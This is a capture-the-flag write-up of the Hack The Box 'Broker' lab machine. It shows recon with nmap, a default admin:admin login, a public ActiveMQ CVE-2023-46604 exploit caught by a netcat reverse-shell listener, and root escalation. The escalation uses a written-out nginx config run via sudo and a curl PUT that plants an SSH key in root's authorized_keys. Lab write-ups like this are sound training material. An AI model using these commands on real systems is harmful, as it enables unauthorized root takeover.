Jacob Huggins

Security | Systems | Networks
Principal Security Consultant @ Catalytic IT
CISSP | OSCP+ | OSEP

23 January 2025

HTB - Machine 'Broker'

Post Image

by Jacob Huggins


Summary

HTB Broker is ranked as an easy difficulty Linux machine running a web server hosting Apache ActiveMQ. Exploring the instance, it is discovered to be running a version that is vulnerable to an Unauthenticated RCE, which I leverage to gain a foothold on the target. Post-exploitation shows there is a sudo misconfiguration allowing the execution of nginx as root without a password. I abuse this to launch a webserver running in the root context and exploit this to escalate my privileges.


Machine Information

Name Info
Machine Name Broker
Difficulty Easy
OS Linux
Target IP 10.10.11.243
Retire Date 09 Nov 2023



Recon

Configure my environment variable $ip to the target

ip=10.10.11.243


NMAP

Set the env var $ports to open ports found on the machine, scanning the top 1000. I can expand this to all ports at the cost of time if I don’t find anything useful.

ports=$(nmap $ip -Pn -T5 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Deeper nmap scan against identified ports

nmap -p $ports -sS -sV -sC -T5 -Pn $ip

Scan Output


HTTP

Visiting the site, I am prompted for Basic HTTP auth.

HTTP Basic Auth

After trying a few combinations, admin:admin gets me access and shows a dashboard for Apache ActiveMQ

Web Dashboard

Clicking “Manage ActiveMQ Broker” leads to an admin dashboard, revealing the version, uptime and other settings.

ActiveMQ Admin


Foothold

A quick search for ActiveMQ exploits reveals an RCE - CVE-2023-46604 Several PoCs are available, with the default port for exploit is 61616.

ActiveMQ Port

Confirming the target is also listening on this port, it should be vulnerable.

I try the following PoC to exploit the vulnerability.

https://github.com/evkl1d/CVE-2023-46604

Edit the poc.xml file to point back to my machine.

ActiveMQ PoC XML

Start my web server to serve the poc.xml file.

Web Server

Start the netcat listener with nc -nvlp 4444. Finally, run the exploit with the expected arguments.

Success!

ActiveMQ Exploit

Stabalise the shell with script /dev/null -c /bin/bash


Escalation

The activemq user has permissions to execute nginx as root.

Sudo Nginx

I can abuse this to host a webserver as root, and utilize put requests to write files as root (the security ontext of the web server).

user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 443;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

sudo /usr/sbin/nginx -c /home/activemq/abuse.conf

As I enabled autoindex, I can navigate to http://10.10.11.243:443 and browse the target root directory, revealing the root flag. However, I want to try and get a root shell by uploading my SSH key into the authorized keys file for the root user.

Generate the key with ssh-keygen. Abuse the webserver opened previously to write the public key for the generated ssh key to the roots authorized keys file. curl -X PUT 10.10.11.243:443/root/.ssh/authorized_keys -d "$(cat broker.key.pub)"

Keygen

SSH to the machine.

Root

Success!

Pwn

tags: htb - easy - linux